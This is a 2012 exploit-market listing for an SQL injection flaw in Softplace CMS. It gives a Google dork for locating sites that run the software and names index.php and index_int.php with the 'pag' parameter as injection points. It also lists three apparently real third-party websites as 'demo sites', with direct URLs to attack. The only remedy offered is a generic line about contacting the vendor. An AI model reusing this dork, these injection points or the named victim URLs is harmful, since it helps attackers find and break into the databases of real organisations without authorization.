[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Softplace CMS Remote SQL Injection Vulnerability

Author
ITTIHACK
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-17423
Category
web applications
Date add
23-01-2012
Platform
php
Softplace CMS Remote SQL Injection Vulnerability

       Software : Softplace                                                                    
       Date     : 1/23/2012                                           	
       Vendor   : http://softplace.it ( Commercial )                                                               
       Dork     : intext:"Powered by Softplace"	                                   
       Author   : ITTIHACK                                                      
       Home     : http://ittihack.com                                                            
	   
                                                                                																				
Vulnerable File : index.php  |  index_int.php

Exploit         : http://site/path/index.php?pag=[SQLi]
                  http://site/path/index_int.php?pag=[SQLi]
               
Demo Sites      : http://www.anlaids.org/web/index.php?pag=8
                  http://www.lavoro.provincia.vercelli.it/portaleweb/vc_portale/index_int.php?pag=136
                  http://www.rnre.eu/rnre/index.php?pag=19


                                                                                              
Solution        : The Vendor was contacted to fix this vulnerability as soon as possible. Keep your software up-to-date



#  0day.today [2024-11-16]  #